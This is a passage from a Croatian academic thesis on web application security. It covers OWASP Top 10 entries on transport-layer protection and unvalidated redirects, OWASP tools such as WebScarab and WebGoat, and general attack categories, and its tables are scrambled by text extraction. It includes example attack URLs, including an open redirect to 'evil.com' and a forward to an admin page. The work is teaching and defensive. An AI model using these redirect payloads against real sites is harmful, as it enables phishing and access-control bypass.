i napadači
Razmotriti
sve koji
mogu pratiti
mrežni
promet
korisnika.
Ako je
aplikacija
na
Internetu,
ne može se
znati kako
joj korisnici
pristupaju,
pa tome
posvetiti
dodatnu
pažnju.
Učestalos Detekcij
t
a
propusta propusta
Težak
Uobičajen
Laka
Praćenje
Aplikacije ne štite
korisnikovo često svoj mrežni
g mrežnog
promet. Mogu koristiti
prometa
SSL/TLS tijekom
nekad je
autentikacije, no ne i
teško, a
drugdje, izlažući tako
nekad i lako. podatke i ID sesije
Najveća
presretanju. Istekli ili
poteškoća je nepropisno
praćenje
konfigurirani
ispravnog
certifikati također
prometa dok mogu biti korišteni.
Detekcija osnovnih
korisnik
mana je lako kroz
pristupa
praćenje mrežnog
ranjivoj
prometa, no ozbiljnije
stranici.
mane zahtijevaju
pregledavanje dizajna
aplikacije i
konfiguracije servera.
Težina
napada
Tehnički
utjecaj
Utjecaj na
djelatnost
Umjeren
Ovakvi
propusti izlažu
podatke
pojedinih
korisnika i
mogu dovesti
do krađe
računa. Ako je
kompromitiran
administratorsk
i račun, cijela
stranica može
biti izložena
riziku. Slabo
podešavanje
SSL-a može
dovesti do
phishinga i
MITM napada.
Razmotriti
poslovnu
vrijednost
izloženih
podataka na
mrežnim
kanalima u
vidu
povjerljivost
i i potreba
integriteta.
Provjera ranjivosti
Najbolji način za provjeru da li aplikacija ima dovoljnu razinu zaštite na mrežnom
sloju je provjera sljedećih točaka:
1. SSL se koristi za zaštitu svog prometa vezanog za autentikaciju.
2. SSL se koristi za sve resurse na svim privatnim stranicama i servise. Ovo štiti
sve podatke i tokene sesija koji se izmjenjuju.
57
3. Podržani su samo snažni algoritmi
4. Svi kolačići sesija imaju „sigurnosnu“ zastavicu tako da ih browser nikad ne
može prenositi u izvornom obliku.
5. Certifikat servera je valjan i ispravno konfiguriran. To uključuje da je izdan od
valjanog izdavača certifikata, da nije istekao, da nije opozvan i da odgovara
svim domenama koje web mjesto koristi.
Sprječavanje ranjivosti
Pravilna zaštita transportnog sloja može utjecati na dizajn cijele stranice. Najlakše je
zahtijevati SSL za cijelo web mjesto. Zbog poboljšavanja performansi, neka web
mjesta koriste SSL samo na privatnim stranicama, a neka samo na „kritičnim“
stranicama, no kod takvog pristupa javlja se opasnost od izlaganja ID-a sesije i ostalih
osjetljivih podataka. Kao minimum, trebalo bi učiniti sljedeće:
1. Zahtijevati SSL za sve osjetljive stranice. Zahtjevi koji nisu SSL a upućeni su
na te stranice trebaju se preusmjeriti na SSL stranice.
2. Koristiti „secure“ zastavicu na svim osjetljivim kolačićima.
3. Konfigurirati SSL pružatelja usluga da podržava smo snažne algoritme.
4. Osigurati da je korišteni certifikat valjan, da nije istekao, nije opozvan i
odgovara svim domenama koje web mjesto koristi.
5. Backend i ostale konekcije također trebaju koristiti SSL ili druge tehnologije
kriptiranja.
Primjer napada
Scenarij 1: Stranica ne koristi SSL za sve stranice koje zahtijevaju autentikaciju.
Napadač jednostavno prati mrežni promet (npr. WLAN) i promatra session kolačić od
žrtve. Napadač tada ponovno šalje ovaj kolačić i preuzima sesiju žrtve.
Scenarij 2: Stranica ima nepropisno konfiguriran SSL certifikat zbog čega korisnikov
browser javlja upozorenja. Da bi korisnik koristio stranicu mora prihvatiti takva
upozorenja i nastaviti. Zbog toga se korisnik navikne na ovakva upozorenja. Phishing
napad na korisnike stranice mami ih na sličnu stranicu koja nema ispravan certifikat i
koji javlja slično upozorenje. Pošto je žrtve naviknuta na takva upozorenja, oni
nastavljaju koristiti phishing stranicu, odavajući tako lozinke i ostale povjerljive
informacije.
58
Scenarij 3: Stranica jednostavno koristi standardan ODBC/JDBC za povezivanje na
bazu, ne shvaćajući da je sav promet izložen napadaču.
4.1.2.10. Unvalidated Redirects and Forwards – Neprovjerena preusmjeravanja i
prosljeđivanja
Opis
Tablica 4.12. Opis neprovjerenog preusmjeravanja i prosljeđivanja
Potencijaln
i napadači
-
Težina
napada
Detekcij
a
propusta
Neuobičaje
Laka
n
Aplikacije često
Napadač se
preusmjeruju korisnike
poveže na
nevalidirane na druge stranice, ili
koriste unutarnja
poveznice i
prevari žrtvu prosljeđivanja na sličan
da ih klikne. način. Ponekad je ciljna
stranica specificirana u
Žrtva ne
sumnja ništa, nevalidiranom
parametru, što napadaču
pošto je to
omogućuje da odaberu
link na
ciljnu stranicu.
validnu
Otkrivanje nesigurnih
stranicu.
Napadač cilja preusmjeravanja je
lako, treba tražiti
nesigurna
prosljeđivanj preusmjeravanja gdje se
mome postaviti cijeli
a kako bi
URL. Neprovjerena
zaobišao
prosljeđivanja su teža,
sigurnosne
pošto ciljaju unutarnje
provjere.
stranice.
Srednje težak
Treba
razmotriti
sve koji
mogu
prevariti
korisnika
aplikacije
da pošalje
zahtjev na
našu web
stranicu. To
je moguće
kroz bilo
koju HTML
stranicu
kojoj
korisnik
može
pristupiti.
Učestalost
propusta
Tehnički
utjecaj
Utjecaj na
djelatnost
Umjeren
-
Ovakvi
propusti
mogu
pokušati
instalirati
malware ili
prevariti
žrtvu na
odavanje
lozinki ili
ostalih
povjerljivih
informacija.
Nesigurna
prosljeđivanj
a mogu
dozvoliti
zaobilaženje
kontrole
pristupa.
Razmotriti
poslovnu
vrijednost
zadržavanja
korisnikovo
g
povjerenja.
Što ako se
zaraze
malwareom
? Što ako
napadač
pristupi
unutarnjim
funkcijama
aplikacije?
Provjera ranjivosti
Najbolji način za otkrivanje ovih propusta je slijediti ove korake:
1. Pregledati kod aplikacije za sva korištenja preusmjeravanja ili prosljeđivanja.
Za svako korištenje, identificirati da li se ciljni URL uključuje u vrijednost
nekog parametra. Ako je tako, provjeriti da je parametar provjeren tako da
može sadržavati samo dozvoljena odredišta ili dijelove odredišta.
59
2. Pregledati stranicu i vidjeti da li generira kakva preusmjeravanja. Pogledati
parametre pružene prije preusmjeravanja i vidjeti da li su oni ciljni URL-ovi ili
sadržavaju dijelove takvih URL-ova. Ako je tako, promijeniti URL odredište i
promatrati da li stranica preusmjerava na novu metu.
3. Ako je kod nedostupan, provjeriti sve parametre i vidjeti da li izgledaju kao
dio preusmjeravanja ili prosljeđivanja URL odredišta i testirati one koje
zadovoljavaju te kriterije.
Sprječavanje ranjivosti
Sigurna upotreba preusmjeravanja i prosljeđivanja može se napraviti na nekoliko
načina:
1. Jednostavno izbjegavati preusmjeravanja i prosljeđivanja.
2. Ako se koriste, ne uključivati korisničke parametre u računanju odredišta. To
se obično može napraviti.
3. Ako se korisnički parametri ne mogu izbjeći, osigurati da su njihove
vrijednosti ispravne i da je korisnik autoriziran za izvršavanje takve akcije.
Preporuča se da takvi odredišni parametri budu mapirane vrijednosti, a ne
pravi URL ili dio URL-a, i da kod na serveru vrši mapiranje te vrijednosti u
pravi URL.
Izbjegavanje ovih mana je jako važno jer je to omiljena meta phishing napadača koji
žele pridobiti korisnikovo povjerenje.
Primjer napada
Scenarij 1: Aplikacija ima stranicu koja se zove „redirect.jsp“ koja uzima jedan
parametar pod nazivom „url“. Napadač napravi maliciozan URL i preusmjeri
korisnike na malicioznu stranicu koja izvršava phishing i instalira malware.
http://www.example.com/redirect.jsp?url=evil.com
Scenarij 2: Aplikacija koristi prosljeđivanje za usmjeravanje zahtjeva među različitim
dijelovima web mjesta. Neke stranice koriste parametar kako bi označile kamo bi
korisnik trebao biti poslan ako je transakcija uspješno izvršena. U ovom slučaju
napadač stvara URL koji će proći provjeru prava pristupa aplikacije i onda proslijediti
napadača na administrativne funkcije kojima inače ne smije imati pristup.
http://www.example.com/boring.jsp?fwd=admin.jsp
60
4.2. OWASP projekti sigurnosti IS-a
OWASP ima cijeli niz projekata koji su namijenjeni sigurnosti aplikacija. Projekti se
dijele u nekoliko grupa54:
•
zaštititi (engl. protect) – alati i dokumenti koji se mogu koristiti za zaštitu
protiv sigurnosno orijentiranih pogrešaka u dizajnu i implementaciji
•
detektirati (engl. detect) – alati i dokumenti koji se mogu koristiti za
pronalaženje sigurnosno orijentiranih pogrešaka u dizajnu i implementaciji
•
životni ciklus (engl. life cycle) – alati i dokumenti koji se mogu koristiti za
dodavanje sigurnosno orijentiranih aktivnosti u razvojni ciklus razvoja
softvera (engl. Software Development Life Cycle – SDLC)
Svaki od projekata ima svoju mail listu. Svi korisnici se mogu pretplatiti na tu listu,
ali i pretraživati arhivu. Postoji i lista projekata koji su ostali bez voditelja, pa se
zainteresirani korisnici mogu prijaviti kao vođe.
Projekti se još dijele u nekoliko kategorija ovisno o njihovoj fazi razvoja, a to su:
projekti distribucijske kvalitete (engl. Release Quality Projects), projekti beta statusa
(engl. Beta Status Projects), projekti alfa statusa (engl. Alpha Status Projects) te
neaktivni projekti (engl. Inactive Projects).
Projekti distribucijske kvalitete su u osnovi profesionalna razina kvalitete alata i
dokumentacije. Projekti beta statusa su potpuni projekti i spremni su za korištenje sa
dokumentacijom. Projekti alfa statusa se u osnovi mogu koristiti, ali im može
nedostajati provjera dokumentacije ili kvalitete. Neaktivni projekti su neocijenjeni
projekti (projekti koji još nisu došli do bilo kojeg od Alfa, Beta ili
Release/distribucijskog statusa) koji su možda napušteni. Za takve projekte se postižu
napori kako bi se kontaktiralo vodstvo projekta i utvrdio status i planovi za budući
rad.
Kako je u drugim kategorijama previše projekata da bi ih ovdje nabrajali, u nastavku
ćemo nabrojati samo projekte distribucijske kvalitete (engl. Release Quality Projects)
i projekte u beta fazi (engl. Beta Status Projects).
54
http://www.owasp.org/index.php/Category:OWASP_Project
61
Tablica 4.13. Popis projekata distribucijske kvalitete (engl. Release Quality
Projects)55
Alati
Dokumentacija
Kategorija: zaštititi (engl. Protect)
OWASP AntiSamy Java Project
OWASP Development Guide
aplikacijsko programsko sučelje za
ogroman dokument koji pokriva sve
validaciju bogatog HTML/CSS ulaza
aspekte sigurnosti web aplikacija i web
od strane korisnika bez izlaganja XSS i
servisa (kriteriji procjene v1.0)
phising napada (kriteriji procjene v1.0)
OWASP AntiSamy .NET Project
OWASP .NET Project
aplikacijsko programsko sučelje za
namjena ovog projekta je osiguravanje
validaciju bogatog HTML/CSS ulaza
središnjeg repozitorija informacija i
od strane korisnika bez izlaganja XSS i
alata za profesionalce koji koriste
phising napada (kriteriji procjene v1.0)
Microsoftov .NET Framework za web
aplikacije i servise (kriteriji procjene
v1.0)
OWASP Enterprise Security API
OWASP Ruby on Rails Security
(ESAPI) Project
Guide V2
besplatna i otvorena kolekcija svih
ovaj projekt je jedini izvor informacija
sigurnosnih metoda koje su potrebne
o pitanjima vezanima uz sigurnost
developeru da bi izgradio sigurnu web
Railsa (kriteriji procjene v1.0)
aplikaciju (kriteriji procjene v1.0)
55
http://www.owasp.org/index.php/Category:OWASP_Project#tab=Release_Quality_Projects
62
OWASP ModSecurity Core Rule Set
OWASP Secure Coding Practices –
Project
Quick Reference Guide
projekt za dokumentiranje i razvoj
ovaj dokument daje brze reference
ModSecurityCore Rule Set (kriteriji
visokog nivoa za sigurne tehnike
procjene v1.0)
kodiranja. Tehnološki je skeptičan i
definira skup osnovnih softverskih
sigurnosnih pravila za kodiranje u
obliku liste provjere (engl. checklist)
koja može biti integrirana u razvojni
ciklus. (kriteriji procjene v2.0)
Kategorija: detektirati (engl. Detect)
OWASP JbroFuzz Project
OWASP Application Security
fuzzer za web aplikacije napravljen za
Verification Standard Project
zahtjeve ostvarene preko HTTP i/ili
ASVS definira prvi međunarodno
HTTPS protokola. Njegova namjena je
priznat standard za provođenje
osiguravanja jedne portabilne
sigurnosnih procjena aplikacija.
aplikacije koja nudi stabilne fuzzing
Pokriva automatske i ručne pristupe za
mogućnosti web protokola. (kriteriji
procjenu (verifikaciju) aplikacija
procjene v2.0)
korištenjem tehnika sigurnosnih
testova i provjere kôda. (kriteriji
procjene v1.0)
OWASP Live CD Project
OWASP Core Review Guide
ovaj CD sadrži neke od najboljih open
projekt za skupljanje najboljih praksa
source sigurnosnih projekata u jednom
za provjeru kôda. (kriteriji procjene
okruženju. Web developeri, testeri i
v1.0)
sigurnosni stručnjaci mogu bootati sa
ovog Live CD-a i imati pristup
kompletnoj garnituri softvera za
testiranje sigurnosti. (kriteriji procjene
v1.0)
OWASP WebScarab Project
OWASP Testing Guide
alat za izvođenje svih tipova testova
projekt fokusiran na testne procedure i
63
sigurnosti na web aplikacijama i web
liste provjere (engl. checklists) za
servisima. (kriteriji procjene v1.0)
provjeru sigurnosti aplikacija. (kriteriji
procjene v1.0)
OWASP Top Ten Project
značajan dokument koji opisuje deset
najvećih sigurnosnih propusta web
aplikacija (kriteriji procjene v1.0)
Kategorija: životni ciklus (engl. Life Cycle)
OWASP WebGoat Project
OWASP AppSec FAQ Project
online okruženje za treniranje
odgovori na često postavljena pitanja
namijenjeno praktičnom učenju o
koji pokrivaju mnoge teme o sigurnosti
sigurnosti aplikacija (kriteriji procjene
aplikacija (kriteriji procjene v1.0)
v1.0)
OWASP Legal Project
projekt fokusiran na pružanje
ugovornog jezika za nabavu sigurnog
softvera (kriteriji procjene v1.0)
OWASP Source Code Review for
OWASP-Projects
radni tijek za OWASP projekte
namijenjen uvođenju statične analize u
razvojni životni ciklus softvera (engl.
Software Development Life Cycle –
SDLC). (kriteriji procjene v1.0)
64
Tablica 4.14. Popis projekata beta statusa56
Alati
Dokumentacija
Kategorija: zaštititi (engl. Protect)
OWASP CSRFGuard Project
OWASP AppSensor Project
J2EE filter koji implementira
okosnica (engl. framework) za
jedinstven token za zahtjev za
detektiranje i odgovaranje na napade
ublažavanje CSRF napada (kriteriji
direktno iz aplikacije (kriteriji procjene
procjene v1.0)
v1.0)
OWASP Encoding Project
OWASP Backend Security Project
projekt fokusiran na razvoj najbolje
novi projekt kreiran da bi unaprijedio i
prakse u kodiranju za web aplikacije
prikupio postojeće informacije o
(kriteriji procjene v2.0)
pozadinskoj (engl. backend) sigurnosti
(kriteriji procjene v1.0)
OWASP OpenSign Server Project
OWASP Securing WebGoat using
svrha ovog projekta je izgraditi i
ModSecurity Project
hostati server bogat mogućnostima te
svrha ovog projekta je kreiranje
komplet klijentskih alata sa
prilagođenog Modsecurity seta pravila
adekvatnim sigurnim hardverom kako
koji će štititi WebGoat 5.2 od što većeg
bi se osigurao integritet modula za
broja njegovih ranjivosti (cilj je 90%)
kodiranje (kriteriji procjene v1.0)
bez promjene ijedne linije kôda
(kriteriji procjene v1.0)
OWASP OpenPGP Extensions for
HTTP – Enigform and mod openpgp
ovaj projekt je fokusiran na
mod_openpgp i sigurnosno upravljanje
sesijama (engl. Secure Session
Management), a predstavlja web
mjesto koje koristi ovu novu
metodologiju autentifikacije na takav
način koji će privući profesionalce koji
se bave sigurnošću i web developere
56
http://www.owasp.org/index.php/Category:OWASP_Project#tab=Beta_Status_Projects
65
na ovaj novi miks dva dobra stara
protokola: HTTP-a i OpenPGP-a
(kriteriji procjene v1.0)
Kategorija: detektirati (engl. Detect)
OWASP Access Control Rules
OWASP Tools Project
Tester Project
ovaj projekt je napravljen kako bi
ovaj projekt je zamišljen na način da
pružio nepristrane, praktične
kao rezultat daje dva izlaza:
informacije i smjernice o alatima za
istraživački tehnički izvještaj (članak
sigurnost aplikacija koji se koriste kako
spreman za objavu) i alat za testiranje
bi se detektirali propusti ili kako bi se
pravila pristupa kontroli (engl. Access
zaštitilo od propusta. Cilj ovog projekta
Control Rules Tester) (kriteriji
je identifikacija svih dostupnih alata,
procjene v1.0)
njihova kategorizacija i ocjenjivanje
prema predefiniranim kriterijima kako
bi se procjenila njihova efikasnost.
OWASP Code Crawler
ovaj alat je namijenjen asistenciji
onima koji pregledavaju postojeći kôd.
To je alat za pregledavanje statičnog
kôda koji traži ključne riječi unutar
.NET i J2EE/JAVA kôda (kriteriji
procjene v1.0)
OWASP DirBuster Project
DirBuster je višedretvena Java
aplikacija dizajnirana za pogađanje
imena direktorija i datoteka na
web/aplikacijskim serverima
primjenom grube sile (kriteriji
procjene v1.0)
OWASP LAPSE Project
alat za analizu Java statičnog kôda u
Eclipse okruženju (kriteriji procjene
v1.0)
66
OWASP Orizon Project
cilj ovog projekta je razviti engine za
provjeru rastezljivog (engl. extensible)
kôda, koji bi se koristio iz alata za
procjenu izvornog kôda (kriteriji
procjene v1.0)
OWASP Pantera Web Assessment
Studio Project
projekt fokusiran na kombiniranje
automatskih sposobnosti sa potpuno
ručnim testiranjem za dobivanje
najboljih rezultata (kriteriji procjene
v1.0)
OWASP Report Generator
projekt koji sigurnosnim
profesionalcima pruža način za
izvještavanje i bilježenje napretka
njihovih projekata (kriteriji procjene
v1.0)
OWASP Site Generator
projekt koji korisnicima omogućava
izradu dinamičnih stranica za
korištenje u potrebe treninga,
testiranja skenera web aplikacija i sl.
(kriteriji procjene v1.0)
OWASP Skavenger Project
skup alata za procjenu sigurnosdti web
aplikacija koji pasivno analizira
promet prikupljen od strane različitih
MITM proxya, kao i drugih izvora te
pomaže identificirati različite vrste
mogućih propusta (kriteriji procjene
v1.0)
67
OWASP SQLiX Project
projekt fokusiran na razvoj SQLiX-a,
skenera potpuno baziranog na
programskom jeziku perl (kriteriji
procjene v1.0)
OWASP Sqlibench Project
ovo je projekt za mjerenje performansi
automatskih SQL injektora povezanih
sa kopiranjem baza podataka (kriteriji
procjene v1.0)
OWASP Tiger
to je Windows aplikacija koja od
samog početka namijenjena za
automatiziranje procesa testiranja
raznih poznatih ASP.NET sigurnosnih
problema u domaćoj (engl. hosted)
okolini. No, ova aplikacija je mnogo
svestranija: pomaže kod izgradnje i
slanju HTTP zahtjeva, kod dobivanja i
analiziranja odgovora, uspoređivanja
odgovora sa skupom uvjeta da bi se
aktivirali alarmi tj. poruke da nešto
nije u redu sa aplikacijama ili
servisima koji se testiraju. (kriteriji
procjene v1.0)
OWASP WeBekci Project
to je alat za upravljanje baziran na
ModSecurity 2.x, a napisan je u PHPu. Pozadina (engl. backend) je
pogonjena MySQL, a sučelje (engl.
frontend) XAJAX okosnicom (engl.
framework). (kriteriji procjene v1.0)
OWASP WSFuzzer Project
68
projekt fokusiran na razvoj WSFuzzera, web servis SOAP fuzzer potpuno
baziran na pythonu (kriteriji procjene
v1.0)
Kategorija: životni ciklus (engl. Life Cycle)
OWASP Live CD Education Project
OWASP CLASP Project
dodatni edukacijski projekt koji sadrži
projekt fokusiran na definiranje
vodiče, izazove i video zapise koji
procesnih elemenata koji ojačavaju
detaljno opisuju način korištenja alata
sigurnost aplikacija (kriteriji procjene
koji su sadržani na OWASP LiveCD –
v1.0)
LabRat. Ovaj projekt je bio
sponzoriran od „OWASP Spring Of
Code 2007“ i „Security Distro“.
(kriteriji procjene v1.0)
OWASP Teachable Static Analysis
OWASP Education Project
Workbench Project
projekt za izradu edukacijskih puteva i
za ova projekt je predviđeno da kao
modula za različitu publiku (kriteriji
rezultat daje dva izlaza: istraživački
procjene v1.0)
tehnički izvještaj (članak spreman za
objavu) i radni prototip (engl.
workbench prototype). (kriteriji
procjene v1.0)
OWASP Internationalization Project
osnovne smjernice za pokretanje novog
projekta prevođenja za OWASP web
mjesto i projekte (kriteriji procjene
v1.0)
OWASP Spanish Project
prvi pokušaj prijevoda kompletnog
OWASP web mjesta i projekta na
španjolski jezik (kriteriji procjene v1.0)
69
4.3. Korištenje alata u svrhu poboljšanja zaštite
Spomenuti alati iz prošlog poglavlja napravljeni su zbog razloga da bi ih se koristilo
za testiranje različitih propusta. Uz pomoć njih se programeri na praktičan način
nauče kako se ti propusti iskorištavaju, te se dobro upoznaju sa mogućim
posljedicama. To ih potiče da svoje aplikacije testiraju na te iste propuste, te samim
time programiraju sigurnije aplikacije.
Osim samih programera, ovi alati koriste testerima aplikacijama, ali i sigurnosnim
stručnjacima. Posljednje spomenuti su često zaduženi da se pobrinu o sigurnosti
servera i osoba koji se koriste uslugama na tim serverima, pa zbog toga oni moraju
ispitati koliko su sigurne aplikacije na njima kako bi utvrdili da li je potrebno
upozoriti programere na učinjene propuste.
Kako je potreba za ovakvim alatima velika, a također ih mnogo postoji u
komercijalnom ili open source obliku, OWASP je otvorio novi projekt koji trenutno
spada u projekte beta statusa, pod nazivom „OWASP Tools Project“. Kao što je već
spomenuto u poglavlju iznad, ovaj projekt je namijenjen pronalasku alata, njihovoj
kategorizaciji i ocjenjivanju prema predefiniranim kriterijima u svrhu procjene
efikasnosti svakog pojedinog alata. Trenutno su pojedine kategorije prazne ili je na
popisu samo nekoliko alata, no za pretpostaviti je da će se to uskoro promijeniti.
Alati se u OWASP Tools projektu dijele u dvije glavne kategorije: u one koji
detektiraju ranjivosti ili propuste u web aplikacijama te oni koji štite od njih.57 Vrste
alata koje služe za detektiranje slabosti web aplikacija su:
•
alati za penetracijsko testiranje
•
alati za analizu izvornog kôda
•
alati za modeliranje prijetnji
•
alati za skeniranje od ranjivosti
U kategoriji zaštite web aplikacija trenutno se nalazi samo jedna vrsta alata, a to su
vatrozidi za web aplikacije (engl. Web Application Firewalls – WAFs)
57
http://www.owasp.org/index.php/Category:OWASP_Tools_Project
70
Od svih navedenih alata tj. projekata iz prethodnog poglavlja, nekako se najboljima ili
barem najpopularnijima čine WebGoat i WebScarab. Svaki od ovih alata spada u
svoju kategoriju, pa tako WebScarab spada u kategoriju alata koji služeza detekciju
ranjivosti, a WebGoat spada u kategoriju životnog ciklusa.
4.3.1. WebScarab
WebScarab je okosnica (engl. framework) za analizu aplikacija koje komuniciraju
preko HTTP ili HTTPS protokola, a napisan je u Javi i zbog toga se može koristiti na
svim platformama.58 Ovaj alat može raditi u nekoliko načina, a svaki od njih je
implementiran u obliku dodatka (engl. plugins). Najčešće se koristi kao proxy za
presretanje, što omogućava korisniku da pregleda i modificira zahtjeve kreirane od
strane web preglednika (engl. browser) prije nego su oni poslani serveru, a također
može pregledati i modificirati odgovore od servera prije nego oni stignu do web
preglednika. Ovaj alat je namijenjen programerima koji žele otkloniti inače
komplicirane probleme ili sigurnosnim stručnjacima koji žele identificirati ranjivosti
aplikacije.
Kako bi korisnik mogao koristiti ovaj alat, mora biti dobar programer ili barem dobro
razumjeti HTTP protokol.
Osim „starog“ WebScarab-a, napravljena je i nova verzija ovog alata u sklopu
projekta „OWASP WebScarab NG Project“. Cilj ovog projekta je potpuno preraditi
početnu verziju alata i napraviti ga jednostavnijim za korištenje. Neke od većih
razlika su nova platforma na kojoj je izgrađen (koristi Spring Rich Client Platform za
korisničko sučelje), spremanje podataka iz sesije u bazu umjsto u tisuće zasebnih
datoteka.59 Nova verzija WebScarab-a bi trebala imati sve funkcionalnosti kao i starija
verzija, sa već spomenutom prednošću lakšeg korištenja.
58
59
http://www.owasp.org/index.php/OWASP_WebScarab_Project
http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project
71
Slika 4.1. WebScarab60
Slika 4.2. WebScarab NG61
4.3.2. WebGoat
WebGoat je promišljeno nesigurna J2EE (Java 2 Enterprise Edition) web aplikacija, a
napravila ju je organizacija OWASP. Ova aplikacije je dizajnirana kako bi poslužila
60
61
http://www.owasp.org/index.php/File:WebScarab_after_browsing.png
http://www.owasp.org/index.php/File:WebScarab-NG-default.png
72
za učenje o sigurnosti web aplikacija po lekcijama.62 U svakoj lekciji korisnik mora
pokazati svoje razumijevanje sigurnosnog problema na način da iskoristi stvarnu
ranjivost u WebGoat aplikaciji. Tako npr. u jednoj od lekcija korisnik mora koristiti
SQL injection kako bi ukrao brojeve lažnih kreditnih kartica. Smatram da je ova
aplikacija jako korisna za sve programere kako bi oni bolje upoznali i shvatili
prijetnje koje mogu nastati razvojem web aplikacija bez razmišljanja o sigurnosti.
Osim toga, ovakve web aplikacije služe kao dobar trening za korisnike koji žele
postati sigurnosni stručnjaci.
Projektni tim koji radi na projektu WebGoat se nada da će u budućnosti ovaj alat
proširiti na način da će postati alat za mjerenje performansi u sigurnosti.
U ovom alatu trenutno je dostupno 30 lekcija, a neke od njih se bave ovim
problemima:
62
•
Cross-site Scripting (XSS)
•
kontrola pristupa
•
sigurnost dretvi
•
brojčana SQL injekcija
•
znakovna (engl. string) SQL injekcija
•
web servisi
•
opasnost HTML komentara
•
i mnogi drugi...
http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
73
Slika 4.3. WebGoat - Lekcija o krađi sesije63
63
http://www.owasp.org/index.php/File:WebGoat-Session-Hijack-Lesson.JPG
74
4.4. Opći principi napada
U ovompoglavlju ćemo spomenuti neke opće principe napada, odnosno općenito reći
o svakoj vrsti napada. Na OWASP stranici sa popisom napada postoji 12 kategorija,
pa ćemo za svaku od kategorija ukratko opisati principe napada.64
Kategorije napada i njihovi principi su:
•
zloupotreba funkcionalnosti (engl. Abuse of Functionality)
o Glavni cilj ove vrste napada je zloupotrebiti neku funkcionalnost web
aplikacije i na taj način doći do nama korisnih informacija, npr.
moguće je iskoristiti opciju automatskog zaključavanja korisničkog
računa u slučaju ako web aplikacija nakon tri neuspjela pokušaja
prijave zaključa taj račun.
•
napadi na strukture podataka (engl. Data Structure Attacks)
o Princip ovog napada je prebrisati neki dio u memoriji aplikacije koji se
inače ne bi smio moći prebrisati, bilo to namjerno ili nenamjerno.
Jedna od vrsta napada ovog tipa jest napad prelijevanjem buffera (engl.
Buffer Overflow Attack). Ovdje se radi o tome da se npr. prebriše
vrijednost nekog od registra, što kao rezultat daje to da aplikacija
počinje izbacivati greške i više se ne može koristiti.
•
ugrađen maliciozni kôd (engl. Embedded Malicious Code)
o Ova vrsta napada se zasniva na mogućnosti da se u aplikaciju ugradi
maliciozni kôd, koji kasnije korisnik aplikacije može nesvjesno
pokrenuti. Na istom principu se zasnivaju trojanski konji.
•
iskorištavanje autentifikacije (engl. Exploit of Authentication)
o Cilj je da se iskoriste slabosti autentifikacije, bilo to na način da se
nakon 3 neuspjela pokušaja prijave automatski zablokira korisnički
račun (isto kao i kod zloupotrebe funkcionalnosti) ili da se uz pomoć
ubačenog malicioznog kôda dobe korisnički podaci za prijavu u
aplikaciju. U slučaju kada se radi o administratorskom računu, napadač
može počiniti jako veliku štetu.
•
injekcija (engl. Injection)
o Ovom vrstom napada se želi izvršiti neki kôd na način da se
iskorištavaju propusti u aplikaciji nastali na način da se ne provjeravaju
64
http://www.owasp.org/index.php/Category:Attack
75
ulazni podaci npr. ne provjerava se da li možda string, koji će se
proslijediti u predefinirani upit na bazu, možda sadrži navodnike. U
tom slučaju se može provesti SQL Injection napad, tj. može se
modificirati upit na bazu i tako ispisati korisnička imena i lozinke
korisnika iz baze podataka.
•
napad unakrsnom putanjom (engl. Path Traversal Attack)
o Ova vrsta napada iskorištava ranjivosti u putanji do datoteka ili
direktorija te tako napadač u slučaju uspješnog napada može pristupiti
onim datotekama i direktorijima kojima inače ne bi smio imati pristup.
Takav napad može se iskoristiti u aplikacijama koje traže od korisnika
upis neke vrijednosti (npr. naziva datoteke) i kasnije tu vrijednost
koriste za dohvat podataka na datotečnom sustavu. U slučaju kad
korisnik upiše posebne znakove, aplikacija može to svejedno
proslijediti i na taj način omogućiti pristup datotekama kojima obični
korisnik ne smije pristupiti.
•
tehnike vjerojatnosti (engl. Probabilistic Techniques)
o Napadaču je glavni motiv da će npr. pogoditi korisničke podatke za
prijavu u aplikaciju, pa uporabom napada metodom grube sile (engl.
Brute force attack) pokušava puno kombinacija korisničkih imena i
lozinki. Za ovakve napade se koriste skripte koje provjeravaju sve
moguće kombinacije unutar zadanih granica ili koriste podatke iz tzv.
riječnika. Vrlo jednostavna metoda primjene grube sile je npr. ako
korisnik ručno proba upisati 10 najčešćih kombinacija korisničkog
imena i lozinki (npr. kor. ime: admin; lozinka: admin)
•
manipulacija protokola (engl. Protocol Manipulation)
o Ovakva vrsta napada se zasniva na slanju poruka u određenom
protokolu, kako bi se prouzročila šteta drugoj strani. Jedan od primjera
ovakvog napada je poplava prometa (engl. Traffic flood), a označava
uspostavljanje mnogo lažnih TCP veza uz korištenje nedovršenih
HTTP zahtjeva, sve dok server nije preplavljen brojem veza i zbog
toga prestane odgovarati na zahtjeve.
76
•
iscrpljivanje resursa (engl. Resource Depletion)
o Napadaču je ovom vrstom napada glavni cilj iscrpiti što više resursa,
odnosno onemogućiti drugim korisnicima da koriste server. Ovakav
napad je u današnje vrijeme sve češći i to u obliku DDoS (engl.
Distributed Denial of Service) napada. Radi se o tome da napadač
upravlja svojom mrežom zaraženih računala tzv. botnetom i da
pomoću vlastitog softvera upravlja svim računalima odjednom. Kad
jednom uspostavi botnet od nekoliko tisuća (ili više) računala, napadač
može preko svog alata za kontrolu računala izdati „naredbu“
računalima da zatraže otvaranje neke određene web stranice. Ako se
radi o jednom serveru, ovolik broj zahtjeva odjednom može zauzeti
previše mrežnih resursa, ali i previše memorije i procesorskog vremena
na serveru, pa se server jednostavno uspori ili čak zablokira.
•
manipulacija resursima (engl. Resource Manipulation)
o Cilj ovog napada je pronaći način za manipuliranjem raznim resursima.
Kao primjer možemo navesti napad manipulacijom postavki (engl.
Setting Manipulation). On je usmjeren na promjenu postavki aplikacije
kako bi izazvao da aplikacija izbacuje pogrešne podatke i kako bi
napadač bio u prednosti. Ovom tehnikom napadač može promijeniti
funkcije aplikacije kao što su pozivi na bazu podataka, blokiranje
pristupa vanjskim bibliotekama i/ili modificiranje log datoteka.
•
napadi špijuniranjem (engl. Sniffing Attacks)
o Ova vrsta napada se zasniva na prikupljanju podataka mrežnog
prometai i traženju osjetljivih podataka kao što su korisnička imena,
lozinke ili bilo koje druge povjerljive informacije.
•
zavaravanje (engl. Spoofing)
o Napadač može presresti komunikaciju između dvije strane, promijeniti
poruku i poslati je dalje do odredišta. U tom slučaju ni jedna ni druga
strana ne zna da su ti podaci promijenjeni i da im druga strana uopće
nije poslala ovakve podatke kakvi su stigli na odredište. To je primjer
tzv. MIT (engl. Man in the Middle) napada, što u prijevodu znači
„čovjek u sredini“.
77
5. Metode provjere i neutraliziranja
5.1. Damn vulnerable web app
